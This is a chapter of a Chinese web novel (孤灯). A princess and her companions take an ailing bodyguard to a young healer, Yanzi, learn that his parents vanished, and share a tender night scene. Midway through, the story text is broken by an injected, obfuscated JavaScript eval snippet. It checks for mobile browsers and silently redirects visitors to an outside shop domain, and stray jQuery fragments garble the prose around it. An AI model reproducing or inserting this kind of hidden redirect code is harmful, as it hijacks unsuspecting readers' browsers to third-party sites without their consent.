文趣网 > 其他小说 > 孤灯 > 3. 道医
    老翁带着他们到了一个偏僻的院子前“我说的那个道医就在里面!”

    在见到门后之人时,滕知微三人都呆在了原地。

    李璋气得想笑“这就是你说的很厉害的道医?”

    “是啊!别看晏大夫年纪轻,可他却是盂县鼎鼎有名的名医,可谓华佗再世!好多人不远千里来找他呢!”

    眼前这个名医哪里是年纪轻啊,他分明和李十六差不多的年纪。

    滕知微听得目瞪口呆,满脸写着怀疑“……晏大夫?”

    “是啊!”

    就连沉默了一路的李十六看到这一幕,也忍不住问道“你是说……他?”

    “是啊是啊!晏大夫!”老翁拍着胸脯保证“货真价实的名医!”

    门内的晏大夫似乎早已习惯这场面,十分镇定地说道“先进来吧,把背上的人放下我看看。”

    他领着众人进屋,这个院子不大,院内全是晒的药材,看起来真的只有他一个人住在这里。

    可眼前这个小孩儿分明稚气未脱,穿得极其随便,连衣襟都里外不一,这会是远近闻名的道医?

    李璋早已没了耐心,把人不客气地扔在床上,就立马揪着老翁的衣襟。

    “我背了他一路,你耍我呢?”

    老翁连连摆手“没、没呀……他真是道医!”

    “这位公子,麻烦你安静一点。还有,打人是可以报官的。”晏大夫搭上脉,出声提醒。

    “哼。”李璋冷笑一声“报官?你们两个合起伙来耍我是吧?”

    “没没没,真没有。”

    老翁还在解释,可那位晏大夫却有些恼了。

    “你治不治?你要是不信我,现在就可以走!”

    屋内乱作一团,昏迷不醒的逢时、瑟瑟发抖的李十六、争执不休的三个人,吵得滕知微脑袋都要炸了。

    在看到晏大夫收回搭在逢时脉上的手时,她终于忍不住怒声喊道“都别吵了!”

    霎时,屋内安静得像被冻住了。

    四双眼睛不约而同地看向她,似乎很难相信刚才的厉声呵斥是从她嘴里发出的。

    从大家错愕的表情中,滕知微意识到自己失态了。

    在外人眼中,她一直都是一位性子温良的郡主,因此最得皇帝怜爱。可实际上,在成为郡主以前,她也是爹娘宠着的掌上明珠。

    只不过没了爹娘庇护,天子再好也不容冒犯,她只能把那些性子都收起来,做一个让人省心的郡主。

    回过神来,滕知微清了清嗓子,小声开口“……能不能先救人?”

    她身后的人命悬一线,他们好像确实不该在此刻争执不休。

    晏大夫霎时收了脾气,重新走回床边。

    “柜子里有干净衣裳,不知道合不合身,你们先把身上的湿衣裳换下来。”

    李璋听罢松开了老翁,打开柜子,从里面摸出来一套衣裙。

    他提着裙子,有些鄙夷地看向诊脉之人。

    “这……也是你的?”

    晏大夫飞快地抬起眼皮扫了他一眼,语气算不上和善“那是我娘的,别给我弄坏了。”

    “那这身衣服是你爹的喽?”李璋又翻出一件来。

    “是。我只是借给你们穿穿,这些都要还给我的。”

    李璋扑哧一声笑了出来“就这几件破布,谁稀罕啊?”

    这话听得在场的人都皱起了眉,一言不发地盯着他。

    他自知理亏,没再说话,找了一套晏大夫的衣裳递给李十六。

    “小殿……”话刚说出口他就收住了,他们是秘密出宫,还是要隐藏身份得好。

    于是,他硬生生把话给接上“你先把衣服换了。”

    粗糙的布料穿在身上磨人,滕知微把头上戴的金钗玉簪都给取下来了,唯独将那只精巧的香囊捏在了手里。

    待三人重新回到刚才那间屋子,晏大夫已经诊脉完毕。

    “没什么大问题,只是风寒之症。不过……”他面露难色“他气血亏空,身体羸弱,一点风寒都够他躺个一天半日的。”

    滕知微:“气血亏空?”

    李璋:“身体羸弱?”

    李十六指着床上那个身手了得的人“他?”

    晏大夫重重点头“气虚之人不宜大动,像他这样身子骨弱的人按理来说不应该习武。”

    滕知微听得一知半解“这么说来不是绝症?”

    “非也,只是伤了气血加上受凉,所以晕倒了。

    日后定要让他少用武,气血若是养不回来,身子会越来越差。”

    晏大夫收好脉枕,起身说道“我去熬点祛寒的汤药,你们几个都喝一碗吧。”

    喝完了药,床上的人还在发热,晏大夫又给他施了针。

    眼看着天就要黑了,他们只能留宿在此。

    好在晏大夫的小院有两间住房,他们挤一挤还能勉强住下。

    晏大夫找来被褥,递给李璋和李十六。

    “今夜我们只能睡地上了,另一间房让给这位姐姐住。”

    滕知微连连摆手“不用,我也可以睡地上。那间房是你的,我们借宿本来就是打扰了,怎么还能占你的房间?”

    “可你和他们……”晏大夫的目光落在那三人身上,迟疑开口“……没关系吗?”

    “没关系,我们都认识,算……算一家人。”

    可不是吗,绑在一根绳上的蚂蚱,他们的命都紧紧系在李十六身上。

    晏大夫哦了一声,没再继续推脱。

    “对了。”滕知微说道“今日叨扰,还未曾向晏大夫的爹娘问好,不知是否方便?”

    晏大夫的表情一滞,故作淡定地整理起被褥“他们不在家。”

    “他们今日不回来吗?”

    “不是今日,是都不会回来了。”晏大夫干脆就地坐下,解释道“我爹娘是游医,之前我们一家都在别的地方谋生,后来不知道为什么突然走到盂县就不走了。有一天爹娘说他们要出远门,不知道什么时候回来,让我守好这个院子,然后就直到现在也没回来过。”

    游医?把自己的孩子留在盂县?

    这个故事听起来实在离谱,天底下有哪个父母会放心把孩子留在陌生的地方而自己走了的?

    “那这么多年来晏大夫就没有你爹娘的下落吗?”一旁的李十六开口问道。

    “没有。我爹娘的消息可不好找,那个时候我跟着他们,三天就能走一个城,有时候为了药材还能在山里住上一两个月。”晏大夫叹了口气“不过呢,我也没打算找他们了,他们说过他们会回来的,我在这里等着就好了。”

    “你爹也姓晏?是哪个晏?”李十六的状态好了许多,竟然开始关心起这些事来了。

    “他不姓晏,他姓易,他们都叫他易大夫。”

    “那你为何姓晏?”

    “我没有姓,我爹说普通人不讲究什么姓,就给我取了个名字。我叫燕子,堂下燕的燕。他说燕子是益鸟,走到哪儿都不会被欺负。”

    “原来是燕子的燕?”

    “是啊。”燕子点了点头,问道“看你年岁应该和我差不多,你叫什么?”

    “我?”李十六看了看身旁的两人,犹豫着说“我、我叫李十六。”

    “十六?石榴!”燕子被自己逗得哈哈大笑“你的名字跟我一样特别呢!石榴好啊,石榴又大又甜,我可喜欢石榴了!我以后就叫你李石榴!”

    滕知微和李璋面面相觑。

    早上的晏大夫分明一副小大人模样,怎么这会儿又变得这般幼稚了。

    两个年岁相仿的人聊得十分尽兴,直到夜深,滕知微和李璋都撑不住了,燕子才依依不舍地回到自己房间。

    他们三人将门窗都锁死,才放心躺在被褥上。

    被褥就铺在逢时床边,滕知微睡最里面,李十六被护在中间,李璋睡在离门最近的地方。

    临睡下前,他还在抱怨“凭什么让他睡床上啊?早知道我也一头晕倒,什么便宜都让他捡着了。”

    滕知微没吭声,帮李十六掖好被角,悄悄朝他瘪了瘪嘴,两人偷笑着钻进被褥。

    昨夜下过雨,地上的潮气让人难受,可他们实在太困了,倒头就睡着了。

    半夜,逢时被热醒,他费劲地睁看眼,看见盖在自己身上的两床被子和几件衣裳。

    那被子重的他喘不过气来,那几件衣裳……

    他撑起身,看见并排睡在地上的三人,他们正

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938412|213785||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    睡得熟,身上穿着单薄的里衣。

    堆在他身上的那些衣裳一定是他们脱下来的。

    逢时把压在身上的东西扒开,出了一身汗,他现在只觉浑身燥热,迫切地想要喝一口水。

    可那三人睡在床边,他毫无下脚之地。

    好在那张放着茶壶的桌子离床不远,他一只手撑在床沿,努力探出身子伸手去够桌上的茶盏。

    束在脑后的发尾随着他的动作垂下,轻轻扫过滕知微的脸颊。

    脸上一阵酥痒,滕知微伸手挠了挠,却摸到了好似头发的东西。

    登时,她吓得猛然惊醒,睁眼便看见了逢时的脸悬在自己面前。

    他正专心致志地看着什么,满心满眼都是那个东西,丝毫没有发现身下的人已经醒了。

    顺着他手伸出去的方向,滕知微明白了他想拿什么。

    她离那个茶盏最近,于是她毫不犹豫地伸手帮忙。

    捏住茶盏的刹那,手背覆上一个滚烫的温度。

    她惊讶地回头,逢时脸上的表情同样错愕。

    “你……”

    “你……”

    两人几乎同时开口。

    这是逢时头一次离滕知微这么近。

    她只穿着里衣,头发散下来,没了那些珠宝点缀,她这张脸倒显得更加素净。

    逢时的眸子颤了颤,在微弱的烛火下,那双眼睛似乎含情脉脉。

    趴着的姿势并不好受,滕知微躲开视线,飞快地抽回手,躺也不是,不躺也不是。

    等逢时将茶盏拿走,她才重新躺回了被褥里。

    “你……什么时候醒的?好些了吗?”

    也不知道是不是因为太热了,逢时一口气将那盏茶都饮尽了。

    “……刚醒,好多了。”

    “……那就好。”滕知微悄悄把手缩回被子里,手背的那阵温度似乎已经蔓延到了脸上。

    “我担心你会冷,就给你多加了一床被子。”

    “哦。”

    逢时不敢低头,紧紧捏着茶盏,目光瞥见她枕边放着的鎏金香囊。

    他早就注意到这枚香囊了,样式特别,看着像鲁班锁一样复杂,他在京城没有见过这样的款式。

    “你那香囊……挺好看的。”他开口。

    “这个啊?”滕知微把香囊举起来,细长的金丝坠着它,它在滕知微手里摇摇晃晃。

    “可惜这个好像坏了,怎么也打不开。”

    “我看看。”

    他从滕知微手里接过香囊,仔细看了好几遍,却没找到开关口在哪儿。

    “这是哪儿来的?”他问。

    “我买的。”

    “买的?”

    滕知微点点头,看着他“我喜欢玩鲁班锁,我兄长说过会给我做一只独一无二的香囊,打开方式跟鲁班锁一样,他说他打完那场仗就回来带给我。可是……”

    她神色黯然,盯着逢时手中摇晃的金球“他没回来。后来我在一个游商手里看到了这枚香囊,跟我兄长说的一模一样,我就花钱买下来了,可惜那个游商说这枚香囊好像坏了,我一直也打不开。”

    滕将军的事逢时也听说过,一夜之间家人尽失,只剩下她孤身一人,的确可怜。

    他将金球收起来,递给她。

    指尖触及她的皮肤,被她手心的凉意一怔。

    地上这么冷吗?

    “早、早点休息吧。”滕知微说完就转了个身。

    逢时嗯了一声,放回茶盏,又躺了回去。

    这一晚格外地安静,外面的虫叫声,屋内人熟睡的呼吸声,吵得人心脏怦怦直跳。

    滕知微闭上眼,脑袋里都是逢时的脸。有他淋着雨站在马车前的样子,有他冷静驾马的样子,还有他朝她伸出手的模样。

    有逢时在,她明明觉得安心,可为什么心脏却不听使唤地乱跳。

    她晃了晃脑袋,想要清空思绪,可突然间身上的被子一沉。

    ——好像有另一床被子落了下来。

    床头的烛火被吹灭,她听见逢时躺下的声音。

    “盖着吧,别着凉了。”

    床上没了动静,滕知微默默把脸埋进被子里,直到天亮也没再睡着。